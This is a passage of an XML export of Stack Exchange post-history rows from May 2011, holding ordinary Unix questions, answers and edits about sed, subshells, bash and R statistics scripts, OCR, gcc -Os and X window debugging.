`extension` would need to (partial) match `/mnt/loggedfs/some/file`&#xD;&#xA;* **uid** is a string that contains either an integer or `*`. The rule only matches a given operation if the owner of the process that caused the operation has the specified user ID (`*` naturally means any user ID matches). In the example output, `1000` is the uid&#xD;&#xA;* **action** is the specific type of operation performed on the filesystem. In the example output, `getattr` is the action. The possible actions are:&#xD;&#xA;  * access&#xD;&#xA;  * chmod&#xD;&#xA;  * chown&#xD;&#xA;  * getattr&#xD;&#xA;  * link&#xD;&#xA;  * mkdir&#xD;&#xA;  * mkfifo&#xD;&#xA;  * mknod&#xD;&#xA;  * open&#xD;&#xA;  * open-readonly&#xD;&#xA;  * open-readwrite&#xD;&#xA;  * open-writeonly&#xD;&#xA;  * read&#xD;&#xA;  * readdir&#xD;&#xA;  * readlink&#xD;&#xA;  * rename&#xD;&#xA;  * rmdir&#xD;&#xA;  * statfs&#xD;&#xA;  * symlink&#xD;&#xA;  * truncate&#xD;&#xA;  * unlink&#xD;&#xA;  * utime&#xD;&#xA;  * utimens&#xD;&#xA;  * write&#xD;&#xA;* **retname** is a regular expression. If the return code of the actual filesystem operation performed by LoggedFS is 0, the regular expression is matched against the string `SUCCESS`. A non-zero return code causes it to match against `FAILURE`. Those are the only possible values, so most likely you're either going to hardcode `SUCCESS`, `FAILURE`, or use `.*` if you want both. In the example output, `SUCCESS` is the `retname`&#xD;&#xA;&#xD;&#xA;Unlike with the `&lt;loggedFS&gt;` attributes, these have no defaults. Also, while the parser will recognize unknown attributes and error out, it does not detect missing attributes, so if you forget an attribute it will use uninitialized memory." />
  <row Id="34475" PostHistoryTypeId="2" PostId="13799" RevisionGUID="e8e90f9e-688a-4944-b6fe-4e589d3bc4c3" CreationDate="2011-05-25T22:52:48.483" UserId="885" Text="I'll second [lesmana's choice of R](http://unix.stackexchange.com/questions/13731/is-there-a-way-to-get-the-min-max-median-and-average-of-a-list-of-numbers-in-a/13775#13775) and offer my first R program. It reads one number per line on standard input and writes four numbers (min, max, average, median) separated by spaces to standard output.&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env Rscript&#xD;&#xA;    a &lt;- scan(file(&quot;stdin&quot;), c(0), quiet=TRUE);&#xD;&#xA;    cat(min(a), max(a), mean(a), median(a), &quot;\n&quot;);&#xD;&#xA;" />
  <row Id="34476" PostHistoryTypeId="6" PostId="13746" RevisionGUID="b77228d6-dd44-4245-8873-95695da957a4" CreationDate="2011-05-25T23:04:17.427" UserId="885" Comment="edited tags" Text="émonitoràédualömonitoràéudevàéacpiàédisplayportà" />
  <row Id="34477" PostHistoryTypeId="2" PostId="13800" RevisionGUID="13628466-cb1c-4658-bd08-83301bb6787a" CreationDate="2011-05-25T23:28:24.220" UserId="1571" Text="Does optimizing for size ONLY reduce the binary size of a program, or does it reduce its runtime memory usage as well? I know what EXACTLY the results are depend on the specific code, but in general is the result a lower memory usage?" />
  <row Id="34478" PostHistoryTypeId="1" PostId="13800" RevisionGUID="13628466-cb1c-4658-bd08-83301bb6787a" CreationDate="2011-05-25T23:28:24.220" UserId="1571" Text="gcc -Os optimization" />
  <row Id="34479" PostHistoryTypeId="3" PostId="13800" RevisionGUID="13628466-cb1c-4658-bd08-83301bb6787a" CreationDate="2011-05-25T23:28:24.220" UserId="1571" Text="écompilingàécàégccà" />
  <row Id="34480" PostHistoryTypeId="2" PostId="13801" RevisionGUID="85218cf5-2ff9-469d-b714-a587b843df85" CreationDate="2011-05-25T23:57:53.417" UserId="2362" Text="I am unsure of the technical name of the thing so please help me to fill the gaps. So basically, I photograph a paper with text and numbers. How can I change that image to plain text that I could read in Vi? &#xD;&#xA;&#xD;&#xA;**Example**&#xD;&#xA;&#xD;&#xA;Suppose the image is of colored document or it has nice decorations. Like I would like to change my birthday cards to files that I could easily manage with my favorite text editor, not just images, how can I do that? Is there some program that could keep the layouting, filling gaps with ASCII art or something like that? Like flower in the document would be a flower in ASCII, text in alphabets and numbers in standard latin numbers 1234567890." />
  <row Id="34481" PostHistoryTypeId="1" PostId="13801" RevisionGUID="85218cf5-2ff9-469d-b714-a587b843df85" CreationDate="2011-05-25T23:57:53.417" UserId="2362" Text="Unix tool to change an image (containing text and numbers) to text and numbers?" />
  <row Id="34482" PostHistoryTypeId="3" PostId="13801" RevisionGUID="85218cf5-2ff9-469d-b714-a587b843df85" CreationDate="2011-05-25T23:57:53.417" UserId="2362" Text="éimageömanipulationà" />
  <row Id="34483" PostHistoryTypeId="25" PostId="13776" RevisionGUID="69a943d3-7f17-4096-9823-8a91a58ce19f" CreationDate="2011-05-26T00:13:08.677" Comment="http://twitter.com/#!/StackUnix/status/73542144895369217" />
  <row Id="34484" PostHistoryTypeId="5" PostId="13801" RevisionGUID="58c5633b-5bd3-4ead-988c-2f3db7020afa" CreationDate="2011-05-26T00:15:37.463" UserId="2362" Comment="added 285 characters in body; edited tags" Text="I am unsure of the technical name of the thing so please help me to fill the gaps. So basically, I photograph a paper with text and numbers. How can I change that image to plain text that I could read in Vi? &#xD;&#xA;&#xD;&#xA;**Example**&#xD;&#xA;&#xD;&#xA;Suppose the image is of colored document or it has nice decorations. Like I would like to change my birthday cards to files that I could easily manage with my favorite text editor, not just images, how can I do that? Is there some program that could keep the layouting, filling gaps with ASCII art or something like that? Like flower in the document would be a flower in ASCII, text in alphabets and numbers in standard latin numbers 1234567890.&#xD;&#xA;&#xD;&#xA;I am unsure to which site this question is the best placed so I placed it intrinsically at two places. More photograph-savvy answers [here][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://photo.stackexchange.com/questions/12417/how-can-i-change-a-photo-in-png-containing-numbers-and-alphabets-to-plain-text" />
  <row Id="34485" PostHistoryTypeId="6" PostId="13801" RevisionGUID="58c5633b-5bd3-4ead-988c-2f3db7020afa" CreationDate="2011-05-26T00:15:37.463" UserId="2362" Comment="added 285 characters in body; edited tags" Text="éimageömanipulationàéocrà" />
  <row Id="34486" PostHistoryTypeId="2" PostId="13802" RevisionGUID="74fa08ee-63a8-46d8-a528-172d0c3db77c" CreationDate="2011-05-26T01:09:18.647" UserId="5614" Text="Is there a way to execute a command in a different directory without having to `cd` to it? I know that I could simply `cd` in and `cd` out, but I'm just interested in the possibilities of forgoing the extra steps :)" />
  <row Id="34487" PostHistoryTypeId="1" PostId="13802" RevisionGUID="74fa08ee-63a8-46d8-a528-172d0c3db77c" CreationDate="2011-05-26T01:09:18.647" UserId="5614" Text="Execute a specific command in a given directory without cd'ing to it?" />
  <row Id="34488" PostHistoryTypeId="3" PostId="13802" RevisionGUID="74fa08ee-63a8-46d8-a528-172d0c3db77c" CreationDate="2011-05-26T01:09:18.647" UserId="5614" Text="élinuxàébashàécdà" />
  <row Id="34489" PostHistoryTypeId="2" PostId="13803" RevisionGUID="948b4c07-4f03-41ae-b96e-d0b2eb0eeca8" CreationDate="2011-05-26T01:16:03.940" UserId="7780" Text="How about ./you/path/command.sh?" />
  <row Id="34490" PostHistoryTypeId="2" PostId="13804" RevisionGUID="3ff82db2-f0ac-4677-a349-d686eb808c07" CreationDate="2011-05-26T01:42:29.827" UserId="7781" Text="Hello, I am writing a rather massive script for a project and one of the issues I am running into before I can complete it is using the sed command.&#xD;&#xA;&#xD;&#xA;I am trying to perform the following...&#xD;&#xA;&#xD;&#xA;find a line that has (located in cache.php):&#xD;&#xA;&#xD;&#xA;$cache_directory = './cache'; &#xD;&#xA;&#xD;&#xA;and replace the information in './cache' with a variable named $new_cache_directory.&#xD;&#xA;&#xD;&#xA;One of the problems I am running into is the ./cache exists multiple times.. I only want to replace that one line but I also don't want to &quot;hard code&quot; the line number to &quot;future proof&quot; it.&#xD;&#xA;&#xD;&#xA;Any ideas?" />
  <row Id="34491" PostHistoryTypeId="1" PostId="13804" RevisionGUID="3ff82db2-f0ac-4677-a349-d686eb808c07" CreationDate="2011-05-26T01:42:29.827" UserId="7781" Text="Using sed to replace a line with many special characters?" />
  <row Id="34492" PostHistoryTypeId="3" PostId="13804" RevisionGUID="3ff82db2-f0ac-4677-a349-d686eb808c07" CreationDate="2011-05-26T01:42:29.827" UserId="7781" Text="ébashàéshellöscriptàéscriptingà" />
  <row Id="34493" PostHistoryTypeId="2" PostId="13805" RevisionGUID="122887d8-dcfc-46be-a370-2550bfc061c6" CreationDate="2011-05-26T02:41:12.980" UserId="1107" Text="Some programs have options with which you can tell them to [*chdir(2)*](http://pubs.opengroup.org/onlinepubs/009695399/functions/chdir.html) themselves (e.g. GNU *tar*’s `-C`/`--directory`).&#xD;&#xA;&#xD;&#xA;Outside of such programs though, something will have to *chdir*. You could write and use some sort of compiled “binary” program instead of having the shell do it, but it probably would not yield much benefit.&#xD;&#xA;&#xD;&#xA;In a comment in another answer, you gave an example:&#xD;&#xA;&#xD;&#xA;    execindirectory -d /var/log &quot;cp *.log ~/Desktop&quot;&#xD;&#xA;&#xD;&#xA;Since the `*.log` pattern is expanded by the shell itself (not *cp*), something will have to *chdir* to the directory before having a shell evaluate your command.&#xD;&#xA;&#xD;&#xA;If you are just interesting in avoiding having to “cd back”, then you can use a subshell to isolate the effect of the *cd* from your working shell instance.&#xD;&#xA;&#xD;&#xA;    (cd /path/to/dir &amp;&amp; some command)&#xD;&#xA;&#xD;&#xA;You can package this up in a shell function. &#xD;&#xA;(I dropped the `-d` option from your example usage since there is little point to this command if the directory is actually optional.)&#xD;&#xA;&#xD;&#xA;    runindir() { (cd &quot;$1&quot; &amp;&amp; shift &amp;&amp; eval &quot;$@&quot;); }&#xD;&#xA;&#xD;&#xA;    runindir /var/log 'cp *.log ~/Desktop'  # your example&#xD;&#xA;    runindir /var/log cp \*.log \~/Desktop  # eval takes multiple args&#xD;&#xA;&#xD;&#xA;    runindir /var/log cp \*.log ~/Desktop   # it is okay to expand tilde first&#xD;&#xA;" />
  <row Id="34494" PostHistoryTypeId="2" PostId="13806" RevisionGUID="796774a2-3e03-475e-ba8f-90fb8b449b7c" CreationDate="2011-05-26T02:44:10.080" UserId="73" Text="I don't know if this counts, but you can make a subshell:&#xD;&#xA;&#xD;&#xA;    $ (cd /var/log; cp *.log ~/Desktop)&#xD;&#xA;&#xD;&#xA;The directory is only changed for that subshell, so you avoid the work of needing to `cd -` afterwards" />
  <row Id="34495" PostHistoryTypeId="25" PostId="13802" RevisionGUID="714a128a-59c7-4963-8e27-70877af3fe0a" CreationDate="2011-05-26T03:13:08.683" Comment="http://twitter.com/#!/StackUnix/status/73587442510344192" />
  <row Id="34496" PostHistoryTypeId="2" PostId="13807" RevisionGUID="8bc974c5-3392-4bf7-9f39-440fc0e9b4ef" CreationDate="2011-05-26T03:58:19.760" UserId="4485" Text="So I guess you want to replace 'cache' with the content of said variable, not with its name:&#xD;&#xA;&#xD;&#xA;    sed 's#^$cache_directory = ../cache.;#$cache_directory = '$new_cache_directory'#' script.php&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34497" PostHistoryTypeId="5" PostId="13807" RevisionGUID="38ef8d02-7b0d-4a56-ad59-7a85cc79005d" CreationDate="2011-05-26T04:10:04.917" UserId="4485" Comment="explanation" Text="So I guess you want to replace 'cache' with the content of said variable, not with its name:&#xD;&#xA;&#xD;&#xA;    sed 's#^$cache_directory = ../cache.;#$cache_directory = '$new_cache_directory'#' script.php&#xD;&#xA;&#xD;&#xA;So you have different problems to solve: Normally a sed command uses slashes to separate the parts: 's/foo/bar/'. When dealing with paths, this is disturbing, but we can use many delimiters - they are just implicitly declared in following the 's'. &#xD;&#xA;&#xD;&#xA;Problem 2 is similar. We often specify the command in single quotes:&#xD;&#xA;&#xD;&#xA;    sed 'command' file &#xD;&#xA;&#xD;&#xA;But here we have apostrophes around ./cache - what to do? One idea would be, to use &#xD;&#xA;&#xD;&#xA;    sed &quot;command&quot; file &#xD;&#xA;&#xD;&#xA;instead, which often works, but not here. The apostrophes prevent the Dollar-sign from being interpreted, but quotes wouldn't prevent that. Often, you don't even need apostrophes, and can write: &#xD;&#xA;&#xD;&#xA;    sed s/standart/standard/g sample.txt &#xD;&#xA;&#xD;&#xA;but again, you have $cache_directory as a variable in the command, which would be interpreted. So I just replace the apostrophes with the joker sign, dot, and would be really surprised, if some other expression would match that part: `../cache.` like `xy/cachei` - not very probable, is it? &#xD;&#xA;&#xD;&#xA;But you like $new_cache_directory to be replaced with the content of the variable, so I switch masking off with ` = '`, insert the variable, and switch masking on again to finish the command with '#'.&#xD;&#xA;" />
  <row Id="34498" PostHistoryTypeId="2" PostId="13808" RevisionGUID="403d9799-e276-47f6-b5ca-da4a1ffba843" CreationDate="2011-05-26T04:17:47.363" UserId="3997" Text="Try this: &#xD;&#xA;&#xD;&#xA;    sed -i.bak &quot;s:^.*\(\$cache_directory = \)\('./cache'\):\1\$new_cache_directory:&quot; infile&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34499" PostHistoryTypeId="2" PostId="13809" RevisionGUID="cccbc64c-1fbf-4f27-bd43-98e3a597b432" CreationDate="2011-05-26T04:23:23.820" UserId="4485" Text="Sadly, your example:&#xD;&#xA;&#xD;&#xA;    execindirectory -d /var/log &quot;cp *.log ~/Desktop&quot;&#xD;&#xA;&#xD;&#xA;doesn't need a change to the dir, because &#xD;&#xA;&#xD;&#xA;    cp /var/log/*.log ~/Desktop&#xD;&#xA;&#xD;&#xA;would do the same. Can't you get closer to your real problem? Because we might know a better solution for that too. &#xD;&#xA;&#xD;&#xA;A complicated way to solve your problem, which is far away from the elegance of Michaels solution, is the usage of find, which has a switch '-execdir' to be performed in the dir, where a file is found. Badly adopted to your example: &#xD;&#xA;&#xD;&#xA;    find /var/log -maxdepth 1 -type f -name &quot;*.log&quot; -execdir echo cp {} ~/Desktop &quot;;&quot;&#xD;&#xA;&#xD;&#xA;Maybe it is useful for your real problem. -okdir instead of -execdir will ask you to confirm every invocation.&#xD;&#xA;&#xD;&#xA;-okdir and -execdir might need gnu-find to be installed, which is typically used on Linux." />
  <row Id="34500" PostHistoryTypeId="2" PostId="13810" RevisionGUID="41f02094-53ee-4f38-918e-b023603764b2" CreationDate="2011-05-26T04:33:40.383" UserId="4485" Text="Beside OCR-Software, which was my first idea too, I think of libaa1 (ascii-art) and related programs. There is even a program to watch TV in ascii-art, ttv, so there will be an image transforming program, I'm pretty sure. &#xD;&#xA;&#xD;&#xA;And I remember a program in the ImageMagick package, where you can take a photograph of a flipchart, and it performs ocr on it. Unfortunately I don't remember the name and can't find it again - maybe it wasn't part of ImageMagick, but something else?" />
  <row Id="34501" PostHistoryTypeId="5" PostId="13810" RevisionGUID="4d0466bb-281a-4b70-858f-066e0c91e4b8" CreationDate="2011-05-26T04:47:46.210" UserId="4485" Comment="added image" Text="Beside OCR-Software, which was my first idea too, I think of libaa1 (ascii-art) and related programs. There is even a program to watch TV in ascii-art, ttv, so there will be an image transforming program, I'm pretty sure. &#xD;&#xA;&#xD;&#xA;And I remember a program in the ImageMagick package, where you can take a photograph of a flipchart, and it performs ocr on it. Unfortunately I don't remember the name and can't find it again - maybe it wasn't part of ImageMagick, but something else?&#xD;&#xA;&#xD;&#xA;In 2003, I produced this image: &#xD;&#xA;![the artist as a young boy][1] but unfortunately, I left no comment, how I produced it. Since I know the foto, where it origins from, it could be gimp-plugin too. Or I reduced the colors drastically to 4, 8 or 16 and reduced the resolution to something screen-friendly like 80x40, and worked with a programming language along the pixels, writing different characters for different colors, which I then wrapped with ANSI codes to produce the colors, and replaced signs with words. Maybe partly by hand, if I remember correctly.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/jiD4r.png" />
  <row Id="34502" PostHistoryTypeId="2" PostId="13811" RevisionGUID="497accef-aac9-416a-8825-17c83c744e04" CreationDate="2011-05-26T05:02:16.997" UserId="2343" Text="Just for the sake of having a variety of options presented, I've put together this *&quot;bash + single-purpose tools&quot;* method.  &#xD;&#xA;&#xD;&#xA;I like bash, but for this particular purpose I'll probably use Rscript; it is just so terse, and it will be handy for other more involved mathematical jobs...  &#xD;&#xA;&#xD;&#xA;For bash to handle floating-point numbers, this script uses `numprocess` and `numaverage` from package `num-utils`.&#xD;&#xA; &#xD;&#xA;---&#xD;&#xA;    arr=($(sort -n &quot;LIST&quot; |tee &gt;( numaverage 2&gt;/dev/null &gt;stats.avg ) | &#xD;&#xA;           while IFS= read -r numb ;do echo &quot;$numb&quot;; done ))&#xD;&#xA;    cnt=${#arr[@]}; ((cnt==0)) &amp;&amp; { echo -e &quot;0\t0\t0\t0\t0&quot;; exit; }&#xD;&#xA;    mid=$((cnt/2)); &#xD;&#xA;    if [[ ${cnt#${cnt%?}} == [02468] ]] &#xD;&#xA;       then med=$( echo -n &quot;${arr[mid-1]}&quot; |numprocess /+${arr[mid]},%2/ )&#xD;&#xA;       else med=${arr[mid]}; &#xD;&#xA;    fi&#xD;&#xA;    echo -ne &quot;$cnt\t${arr[0]}\t${arr[cnt-1]}\t$med\t&quot;; cat stats.avg &#xD;&#xA;" />
  <row Id="34503" PostHistoryTypeId="5" PostId="13811" RevisionGUID="0845dfa9-6e5c-4a09-833b-3a99212f3b16" CreationDate="2011-05-26T05:07:45.527" UserId="2343" Comment="added 61 characters in body" Text="Just for the sake of having a variety of options presented, I've put together this *&quot;bash + single-purpose tools&quot;* method.  &#xD;&#xA;&#xD;&#xA;I like bash, but for this particular purpose I'll probably use Rscript; it is just so terse, and it will be handy for other more involved mathematical jobs...  &#xD;&#xA;&#xD;&#xA;For bash to handle floating-point numbers, this script uses `numprocess` and `numaverage` from package `num-utils`.&#xD;&#xA; &#xD;&#xA;---&#xD;&#xA;    arr=($(sort -n &quot;LIST&quot; |tee &gt;( numaverage 2&gt;/dev/null &gt;stats.avg ) | &#xD;&#xA;           while IFS= read -r numb ;do echo &quot;$numb&quot;; done ))&#xD;&#xA;    cnt=${#arr[@]}; ((cnt==0)) &amp;&amp; { echo -e &quot;0\t0\t0\t0\t0&quot;; exit; }&#xD;&#xA;    mid=$((cnt/2)); &#xD;&#xA;    if [[ ${cnt#${cnt%?}} == [02468] ]] &#xD;&#xA;       then med=$( echo -n &quot;${arr[mid-1]}&quot; |numprocess /+${arr[mid]},%2/ )&#xD;&#xA;       else med=${arr[mid]}; &#xD;&#xA;    fi     #  count   min       max           median        average&#xD;&#xA;    echo -ne &quot;$cnt\t${arr[0]}\t${arr[cnt-1]}\t$med\t&quot;; cat stats.avg &#xD;&#xA;" />
  <row Id="34504" PostHistoryTypeId="2" PostId="13812" RevisionGUID="8324aa04-171c-40cc-a0a8-32c31c875d2a" CreationDate="2011-05-26T05:17:14.450" UserId="4269" Text="Hi,&#xD;&#xA;&#xD;&#xA;Prior to the Linux 2.6 kernel, `struct task_struct` was present at the end of the kernel stack of each process. There was no `thread_info struct` concept. But in Linux 2.6 kernel, instead of `task_struct` being placed at the end of the kernel stack for the process, the `thread_info struct` is placed at the end. This thread_info struct contains a pointer to the `task_struct` structure.&#xD;&#xA;&#xD;&#xA;What was the need for `thread_info` structure to be introduced ?. We could have accessed the `task_struct` structure using the `stack pointer` directly if `task_struct` was placed at the end of the kernel stack of the process.&#xD;&#xA;&#xD;&#xA;In 2.6 Kernel, `task_struct` is dynamically allocated using `slab_allocator`. Prior to 2.6 Kernel, was it statically allocated?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34505" PostHistoryTypeId="1" PostId="13812" RevisionGUID="8324aa04-171c-40cc-a0a8-32c31c875d2a" CreationDate="2011-05-26T05:17:14.450" UserId="4269" Text="Need for thread_info structure in Linux 2.6 Kernel" />
  <row Id="34506" PostHistoryTypeId="3" PostId="13812" RevisionGUID="8324aa04-171c-40cc-a0a8-32c31c875d2a" CreationDate="2011-05-26T05:17:14.450" UserId="4269" Text="élinuxàékernelàéprocessà" />
  <row Id="34507" PostHistoryTypeId="5" PostId="13811" RevisionGUID="4d474340-2e24-407b-be13-77c3f2daddd7" CreationDate="2011-05-26T06:10:06.217" UserId="2343" Comment="deleted 64 characters in body" Text="Just for the sake of having a variety of options presented, I've put together this *&quot;bash + single-purpose tools&quot;* method.  &#xD;&#xA;&#xD;&#xA;I like bash, but for this particular purpose I'll probably use Rscript; it is just so terse, and it will be handy for other more involved mathematical jobs...  &#xD;&#xA;&#xD;&#xA;For bash to handle floating-point numbers, this script uses `numprocess` and `numaverage` from package `num-utils`.&#xD;&#xA; &#xD;&#xA;---&#xD;&#xA;    arr=($(sort -n &quot;LIST&quot; |tee &gt;(numaverage 2&gt;/dev/null &gt;stats.avg) ))&#xD;&#xA;    cnt=${#arr[@]}; ((cnt==0)) &amp;&amp; { echo -e &quot;0\t0\t0\t0\t0&quot;; exit; }&#xD;&#xA;    mid=$((cnt/2)); &#xD;&#xA;    if [[ ${cnt#${cnt%?}} == [02468] ]] &#xD;&#xA;       then med=$( echo -n &quot;${arr[mid-1]}&quot; |numprocess /+${arr[mid]},%2/ )&#xD;&#xA;       else med=${arr[mid]}; &#xD;&#xA;    fi     #  count   min       max           median        average&#xD;&#xA;    echo -ne &quot;$cnt\t${arr[0]}\t${arr[cnt-1]}\t$med\t&quot;; cat stats.avg &#xD;&#xA;" />
  <row Id="34508" PostHistoryTypeId="5" PostId="13808" RevisionGUID="23516bd0-0185-4146-8138-1f3d3c7b488f" CreationDate="2011-05-26T06:12:58.540" UserId="3997" Comment="deleted 1 characters in body" Text="Try this: &#xD;&#xA;&#xD;&#xA;    sed -i.bak &quot;s:^.*\(\$cache_directory = \)\('./cache'\):\1$new_cache_directory:&quot; infile&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34509" PostHistoryTypeId="25" PostId="13812" RevisionGUID="1b7b8f0e-6fe2-4676-b179-4df2c2c8f12a" CreationDate="2011-05-26T06:13:08.840" Comment="http://twitter.com/#!/StackUnix/status/73632743048749056" />
  <row Id="34510" PostHistoryTypeId="2" PostId="13813" RevisionGUID="41b01859-4b06-422b-90dd-89dcab302037" CreationDate="2011-05-26T06:35:15.600" UserId="1952" Text="Obviously, since the program needs to be loaded into memory, `-Os` will result in lower memory usage. But that is the only effect on memory usage it will have." />
  <row Id="34511" PostHistoryTypeId="2" PostId="13814" RevisionGUID="418cb0fe-b5a5-4dd7-97cc-87ce98e9e13b" CreationDate="2011-05-26T08:04:06.053" UserId="515" Text="I am not sure why this was done. But it'd be easy to find it out if you do a `git blame` on that file and find the commit that introduced the change. Usually commit message will have very detailed explanation of the change being committed." />
  <row Id="34512" PostHistoryTypeId="2" PostId="13815" RevisionGUID="2725ccc5-0c3e-4b7b-8498-db54ed5a95c4" CreationDate="2011-05-26T08:11:07.033" UserId="4815" Text="After some poking around I found the answer and everything is back to normal. All I had to do was &#xD;&#xA;&#xD;&#xA;    sudo update-mime-database /usr/share/mime" />
  <row Id="34513" PostHistoryTypeId="2" PostId="13816" RevisionGUID="b16f73e4-4b00-478c-a76b-056f46c2d837" CreationDate="2011-05-26T08:35:33.910" UserId="7787" Text="Recently I've been bugged by a mysterious invisible window in X on my Ubuntu machine.&#xD;&#xA;It takes the form of an always-top-most window with absolutely nothing showing; no window border, no content, no nothing. That means that entire area of the screen is now unusable with any pointer, since the window captures all events in it's context - I can't even click on the desktop in that area !&#xD;&#xA;&#xD;&#xA;As you might have guess this is rather annoying, and I want to get rid of it permanently.&#xD;&#xA;However, running `xwininfo` on it gives the following:&#xD;&#xA;&#xD;&#xA;    xwininfo: Window id: 0x1601b9f (has no name)&#xD;&#xA;    [...]&#xD;&#xA;    Map State: IsViewable&#xD;&#xA;    Override Redirect State: yes&#xD;&#xA;    Corners:  +395+315  -383+315  -383-263  +395-263&#xD;&#xA;    -geometry 502x222+395+315&#xD;&#xA;&#xD;&#xA;So, I've got an ID, but no name. This fortunately means I can kill it with `xkill`, but unfortunately means I have no idea what created it.&#xD;&#xA;&#xD;&#xA;So what I'm looking for is some advice or help finding a way to identify the root and cause of this window.&#xD;&#xA;&#xD;&#xA;Any suggestions ?" />
  <row Id="34514" PostHistoryTypeId="1" PostId="13816" RevisionGUID="b16f73e4-4b00-478c-a76b-056f46c2d837" CreationDate="2011-05-26T08:35:33.910" UserId="7787" Text="Find creator of resource in X" />
  <row Id="34515" PostHistoryTypeId="3" PostId="13816" RevisionGUID="b16f73e4-4b00-478c-a76b-056f46c2d837" CreationDate="2011-05-26T08:35:33.910" UserId="7787" Text="élinuxàéubuntuàéxorgà" />
  <row Id="34516" PostHistoryTypeId="2" PostId="13817" RevisionGUID="7b2053d6-87c6-45e9-9c5c-f23a05ba5091" CreationDate="2011-05-26T08:42:47.690" UserId="2567" Text="-Os will give you a smaller application, and since it is smaller sometimes it will execute faster since there is less code to execute. " />
  <row Id="34517" PostHistoryTypeId="2" PostId="13818" RevisionGUID="a6280a2d-378d-4cb9-80c0-d6d214bcd51b" CreationDate="2011-05-26T09:05:59.607" UserId="2421" Text="Capture the output of `ps -eo pid,cmd` to a file, then kill the offending window, repeat the `ps`, and see what changed:&#xD;&#xA;&#xD;&#xA;    ps -eo pid,cmd &gt;/tmp/ps1&#xD;&#xA;    ID=`xwininfo | grep -oP &quot;0x[0-9a-fA-F]{4,8} &quot;`; xkill -id $ID&#xD;&#xA;    ps -eo pid,cmd &gt;/tmp/ps2&#xD;&#xA;    diff /tmp/ps{1,2}&#xD;&#xA;&#xD;&#xA;Kind of a brute-force method, but it should work." />
  <row Id="34518" PostHistoryTypeId="2" PostId="13819" RevisionGUID="13feb59e-07af-4dff-88e7-271cdf7ef30b" CreationDate="2011-05-26T09:12:54.410" UserId="7790" Text="I'm using FreeBSD 8.0, trying to get data out of local mdb file, using php and odbc_* functions.&#xD;&#xA;&#xD;&#xA;I'm confused, why does [port][1] when &quot;make install&quot;'ed, is not creating libmdbodbc.so library, that is needed for unixODBC, to connect to .mdb file.&#xD;&#xA;&#xD;&#xA;Only libraries, that is installed are:&#xD;&#xA;&#xD;&#xA;    /usr/local/lib/libmdb.so&#xD;&#xA;    /usr/local/lib/libmdbsql.so&#xD;&#xA;Why does everyone else has libmdbodbc.so from mdbtools, but when I compile/install it, I don't have? :(&#xD;&#xA;&#xD;&#xA;Any way, if you have FreeBSD and you have this file, can you please &quot;drop&quot; it in some storage and give me a link. If you have any other solutions for connection to MS Access MDB files, please, give me some...&#xD;&#xA;&#xD;&#xA;PS: That library was not either in mdbtools-0.6pre1 version installation.&#xD;&#xA;&#xD;&#xA;Related question: http://stackoverflow.com/questions/6072883/connect-to-ms-access-remote-mdb-file-from-php-on-linux/6099229&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freshports.org/databases/mdbtools/ &quot;mdbtools port&quot;" />
  <row Id="34519" PostHistoryTypeId="1" PostId="13819" RevisionGUID="13feb59e-07af-4dff-88e7-271cdf7ef30b" CreationDate="2011-05-26T09:12:54.410" UserId="7790" Text="unixODBC driver to connect to MS Access *.MDB files" />
  <row Id="34520" PostHistoryTypeId="3" PostId="13819" RevisionGUID="13feb59e-07af-4dff-88e7-271cdf7ef30b" CreationDate="2011-05-26T09:12:54.410" UserId="7790" Text="éfreebsdàéphpàédatabaseà" />
  <row Id="34521" PostHistoryTypeId="25" PostId="13816" RevisionGUID="41bf12f2-2b8f-4edc-bb9b-c62256632b60" CreationDate="2011-05-26T09:13:09.657" Comment="http://twitter.com/#!/StackUnix/status/73678043541020672" />
  <row Id="34522" PostHistoryTypeId="2" PostId="13820" RevisionGUID="9017c877-2c36-432c-b9aa-416287910f99" CreationDate="2011-05-26T09:25:05.510" UserId="1946" Text="Not to undermine the value of answers given by other people, but I believe what you want **is this:**&#xD;&#xA;&#xD;&#xA;    cd /path/to &amp;&amp; ./executable [ARGS]&#xD;&#xA;" />
  <row Id="34524" PostHistoryTypeId="2" PostId="13822" RevisionGUID="d4f8c4ac-b8b4-4775-84ff-f83827f01890" CreationDate="2011-05-26T10:34:42.933" UserId="6921" Text="As far as I see at uTorrent's web site, what they offer for Linux is a server and a web interface, so when you launch utorrent, it forks to background and listens on some port (see documentation) so you can access it with your browser (again, see documentation for the exact address or port, it's most likely 127.0.0.1:some_port).&#xD;&#xA;&#xD;&#xA;Some *windows* versions of uTorrent are [reported][1] to work fine with [wine][2], so you might try them and have a normal desktop application with tray icon and such.&#xD;&#xA;&#xD;&#xA;You can also check Linux bittorent clients - transmission, deluge or ktorrnet - chances are they would suit you.&#xD;&#xA;&#xD;&#xA;// I cannot add a comment, but what exactly are you trying to do? Running Linux on your desktop is one thing, building a headless torrent/multimedia/ftp server is slghtly different&#xD;&#xA;&#xD;&#xA;  [1]: http://appdb.winehq.org/objectManager.php?sClass=application&amp;iId=6824&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Wine_%28software%29" />
  <row Id="34525" PostHistoryTypeId="5" PostId="13811" RevisionGUID="00543f0c-ee1b-49af-8617-432ce79e8b59" CreationDate="2011-05-26T10:50:43.147" UserId="2343" Comment="added 177 characters in body; added 64 characters in body; added 14 characters in body; deleted 1 characters in body" Text="Just for the sake of having a variety of options presented, I've put together this *&quot;bash + single-purpose tools&quot;* method.  &#xD;&#xA;&#xD;&#xA;I like bash, but for this particular purpose I'll probably use Rscript; it is just so terse, and it will be handy for other more involved mathematical jobs...  &#xD;&#xA;&#xD;&#xA;For bash to handle floating-point numbers, this script uses `numprocess` and `numaverage` from package `num-utils`.&#xD;&#xA;&#xD;&#xA;PS.  I've also had a reasonable look at `bc`, but for this particular job, it doesn't offer anything beyond what `awk` does. It is (as the 'c' in 'bc' states) a calculator—a calculator which requires a much programming as `awk` and this bash script...&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;    arr=($(sort -n &quot;LIST&quot; |tee &gt;(numaverage 2&gt;/dev/null &gt;stats.avg) ))&#xD;&#xA;    cnt=${#arr[@]}; ((cnt==0)) &amp;&amp; { echo -e &quot;0\t0\t0\t0\t0&quot;; exit; }&#xD;&#xA;    mid=$((cnt/2)); 